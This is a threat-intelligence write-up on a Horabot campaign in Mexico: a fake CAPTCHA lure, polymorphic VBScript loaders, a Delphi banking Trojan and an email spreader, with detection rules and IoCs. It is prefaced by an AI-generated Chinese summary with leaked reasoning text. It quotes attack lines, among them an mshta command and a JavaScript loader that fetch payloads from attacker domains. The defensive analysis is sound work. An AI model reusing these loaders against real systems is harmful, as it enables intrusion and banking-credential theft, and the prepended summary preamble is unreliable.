The SOC Files: Time to “Sapecar”. Unpacking a new Horabot campaign in Mexico
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户的要求是直接写文章描述,不需要开头语。首先,我得通读整篇文章,理解其主要内容。 文章讲的是一个名为Horabot的网络威胁活动,涉及银行木马、邮件传播器和复杂的攻击链。Kaspersky的安全团队发现并分析了这个活动,详细描述了攻击链的各个阶段,包括初始诱骗、服务器端多态性、恶意软件组件以及传播机制。 我需要将这些关键点浓缩到100字以内。重点包括:Horabot的组成部分、攻击链的阶段、Kaspersky的介入以及恶意软件的功能。同时,要确保语言简洁明了,不使用复杂的术语。 现在开始组织语言:首先介绍Horabot是什么,然后说明攻击链的阶段和关键组件,最后提到Kaspersky的分析和检测方法。这样就能在有限的字数内涵盖主要信息。 最终总结应包括:银行木马、邮件传播器、复杂攻击链、初始诱骗页面、HTA文件加载JavaScript、VBS脚本多态性、Delphi木马功能(信息窃取、持久化)、邮件传播机制以及Kaspersky提供的检测规则和IoCs。 </think> 文章描述了名为Horabot的网络威胁活动,涉及银行木马、邮件传播器和复杂攻击链。攻击始于假CAPTCHA页面,通过HTA文件加载JavaScript并执行多态VBS脚本。脚本收集信息并下载AutoIt组件及加密DLL(Delphi银行木马),后者窃取凭证并建立持久化。最终阶段通过PowerShell传播恶意邮件。Kaspersky提供了检测规则和IoCs以应对该威胁。 2026-3-18 11:0:14 Author: securelist.com(查看原文) 阅读量:8 收藏

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/

Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");

scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");

scriptEle.setAttribute("type", "text/vbscript");

document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");

scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");

scriptEle.setAttribute("type", "text/vbscript");

document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

  • Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
  • Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
  • Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
  • Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
  • Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
  • PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
  • Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
  • Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

  • The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
  • It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
  • It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL Description
https://cgf.facturastbs[.]shop/0725/a/home (GET) A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST) A URL for posting host information, but in our lab tests the value was empty.
Request content example:
Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST)
https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)
A URL used to post victim information
Request content example:
AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’
MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET) The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET) The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

Key construction (left) and decryption logic (right)

Key construction (left) and decryption logic (right)

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

def decrypt_string(encrypted_hex):

    key_string = "0xFF0wx8066h"

    key_index = 0

    result = ""

    current_key = int(encrypted_hex[0:2], 16)

    i = 2

    while i < len(encrypted_hex):

        next_key = int(encrypted_hex[i:i+2], 16)

        if key_index >= len(key_string):

            key_index = 0

        key_char = ord(key_string[key_index])

        xored_value = next_key ^ key_char

        if xored_value > current_key:

            decrypted_char = xored_value - current_key

        else:

            decrypted_char = (xored_value + 0xFF) - current_key

        result += chr(decrypted_char)

        current_key = next_key

        key_index += 1

        i += 2

    return result

Python implementation of the decryption routine

The encrypted strings can be retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

Direct pointer (left), indirect pointer (right)

Direct pointer (left), indirect pointer (right)

Indexed strings via TStringList lookups

Indexed strings via TStringList lookups

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration – a raw HTTP response – consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

Decrypted configuration values (root password redacted)

Decrypted configuration values (root password redacted)

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

C2 socket address extraction

C2 socket address extraction

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Fallback to hardcoded socket address (lifenews[.]pro:49569)

Fallback to hardcoded socket address (lifenews[.]pro:49569)

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

Extracting value 5 and 6 from the configuration

Extracting value 5 and 6 from the configuration

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Comparison of "PING" and "Close" commands (sample disassembly on the left, Delphi Remote Access source code on the right)

Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

Encryption routine sub_00A9F2D0

Encryption routine sub_00A9F2D0

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by appending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

def deobfuscate_traffic(obfuscated):

    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):

        raise ValueError("Invalid format")

    core = obfuscated[2:-2]

    key1 = int(core[0:4])

    key2 = int(core[4:8])

    key3 = int(core[8:12])

    hex_data = core[12:]

    current_key = key1

    output_chars = []

    for i in range(0, len(hex_data), 2):

        xored = int(hex_data[i:i+2], 16)

        high_byte = (current_key >> 8) & 0xFF

        original_char = chr(xored ^ high_byte)

        output_chars.append(original_char)

        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF

    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \

    msg:"Horabot C2 socket communication (##hex##)"; \

    flow:established; \

    content:"##"; depth:2; fast_pattern; \

    content:"##"; endswith; \

    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \

    classtype:trojan-activity; \

    sid:1900000; \

    rev:1; \

    metadata:author Domenico; \

)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

Fake token overlay used for credential theft (right), with disassembly (left)

Fake token overlay used for credential theft (right), with disassembly (left)

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Excerpt of decrypted fake overlays

Excerpt of decrypted fake overlays

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

  • Harvest emails via the MAPI namespace;
  • Exfiltrate unique email addresses to the C2;
  • Clean up the outbox;
  • Filter the exfiltrated email addresses against a blocklist of keywords;
  • Prepare a phishing email containing a malicious PDF;
  • Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

  • All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
  • It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
  • One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

import "pe"

rule Horabot_Delphi_Trojan

{

    meta:

        author = "maT"

        description = "Detects Horabot payload/trojan (Delphi DLL)"

        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"

        hash_02 = "4caa797130b5f7116f11c0b48013e430"

        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:

        uint32be(0) == 0x4d5a5000 and

        filesize < 150MB and

        pe.is_dll() and

        pe.number_of_exports == 4 and

        pe.exports("dbkFCallWrapperAddr") and

        pe.exports("__dbk_fcall_wrapper") and

        pe.exports("TMethodImplementationIntercept") and

        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)

}

rule Horabot_AutoIT_Loader

{

    meta:

        author = "maT"

        description = "Detects AutoIT script used as a loader by Horabot"

    strings:

        $winapi_01 = "Advapi32.dll"

        $winapi_02 = "CryptDeriveKey"

        $winapi_03 = "CryptDecrypt"

        $winapi_04 = "MemoryLoadLibrary"

        $winapi_05 = "VirtualAlloc"

        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"

        $str_func01 = "B080723_N"

        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $

        $opt_aes192 = "0x0000660f" // CALG_AES_192

        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:

        filesize < 100KB and

        all of ($winapi*) and

        (

            1 of ($str*) or

            all of ($opt*)

        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator Description
hxxps://evs.grupotuis[.]buzz/0capcha17/ Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/ VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1 JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/ VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/ List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET) List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST) Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST)
hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)
Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au
hxxps://cgf.midasx[.]site/a/08/150822/au/au
PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1 List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408 Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED Delphi DLL sample
lifenews[.]pro C2 (socket)
64.177.80[.]44 C2 (socket)

文章来源: https://securelist.com/horabot-campaign/119033/
如有侵权请联系:admin#unsafe.sh